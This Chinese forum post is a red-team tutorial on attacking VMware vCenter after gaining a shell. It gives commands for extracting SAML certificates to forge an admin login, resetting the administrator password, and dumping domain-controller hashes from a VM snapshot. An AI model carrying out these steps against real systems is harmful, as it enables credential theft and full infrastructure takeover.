安全矩阵

 找回密码
 立即注册
搜索
查看: 956|回复: 0

Red Team | vCenter后渗透利用

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-9-11 19:34:27 | 显示全部楼层 |阅读模式
校长 不懂安全的校长 2023-09-01 14:35 发表于云南

0x01 前言

在稍微体量较大的攻防演练中,常会遇到vCenter,那么利用nday或者1day拿到了shell之后我们又该如何深入利用呢?因为对于vCenter这类集群系统,获取该类系统的shell没办法把危害最大化。恰好我也在实战环境中遇到了vCenter,于是在这里做个总结。

0x02 SAML 证书

VMware vCenter 提供自己的 SSO 服务,以便用户可以对所有 VMware 服务使用一组凭据。VMware Directory (vmdir) 服务主要负责 vCenter SSO 服务并存储关键身份验证信息,例如本地 vCenter 用户名和密码哈希以及 SAML 证书。

相对应的vCenter中的 data.mdb 包含证书,可以在 vCenter 备份中以及具有 root 权限的 VCSA 主机上找到。这些证书以明文形式存储,可用于为任何用户(包括内置管理员)签署任何 SAML 身份验证请求。

  1. # Linux:
  2. /storage/db/vmware-vmdir/data.mdb

  3. # Windows:
  4. C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
复制代码

除了以上这些路径可以获取data.mdb文件之外,我们也可以通过vCenter的备份文件当中找到data.mdb文件。vCenter备份内有一个名为lotus_backup.tar.gz 的存档,这里通常存放着我们需要的data.mdb文件。


当我们通过nday拿到了一个Vcenter的shell之后就可以在对应的系统的文件夹里找到相对应的文件。在这里我通过CVE-2022-22005拿到了一个webshell,并且权限为root。这时候我们可以使用路径 /storage/db/vmware-vmdir/ 去找到我们的data.mdb文件。

我们将它下载下来,并且开始利用脚本工具

  1. https://github.com/horizon3ai/vcenter_saml_login

  2. # python3 vcenter_saml_login.py -t 10.102.255.62 -p data.mdb
复制代码

这里我们拿到cookie之后可以开始写入cookie并且登录vCenter。


将Cookie写入后,设置Path路径为/ui后,直接访问,即可成功登录。


0x03 重置Administrator密码

这是一个危险性较大的一个操作,并且容易被管理员所发现,但是确实是实战当中最方便的一种方法。

我们通过nday拿到的webshell,在冰蝎启动一个虚拟终端。

在重置密码之前我们需要知道它的域,为了在之后重置密码成功后登录vCenter。

  1. /usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
复制代码


得到域为vsphere.local,我们直接开始重置密码。

  1. #Linux
  2. /usr/lib/vmware-vmdir/bin/vdcadmintool

  3. #Windows
  4. C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
复制代码

如果直接使用冰蝎的命令执行功能是无法成功的,我们需要启动一个虚拟终端,进行交互。


我们在这里直接选择3,并且输入administrator以及我们刚才得到的域:vsphere.local。输入 administrator@vsphere.local 之后就会重置密码并且给你一个新的密码。

ps:由于我目前的操作环境为实际的业务环节,不方便演示。

这个时候我们就可以拿新的密码访问Vcenter并成功登录

0x04 DC Hash

这里我是推荐直接快照的方法。

直接Take Snapshot然后等待快照的完成后点击Datastores。

直接点击KM-RHDC01-Snapshot232.vmem并把它下载下来,有点大。


  1. # Volatility2.6内存取证工具
  2. https://github.com/volatilityfoundation/volatility

  3. volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem imageinfo
  4. volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 hashdump
  5. volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 lsadump
复制代码


0x05 结尾

这个我没写全,但基于常规的攻防演练当中这些是必不可少的基础操作。这篇文章也是基于实战所常用的基础向关于vCenter后渗透的操作。

承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、代码审计、渗透测试、应急响应 等等的安全项目,请联系下方微信。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:34 , Processed in 0.012883 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表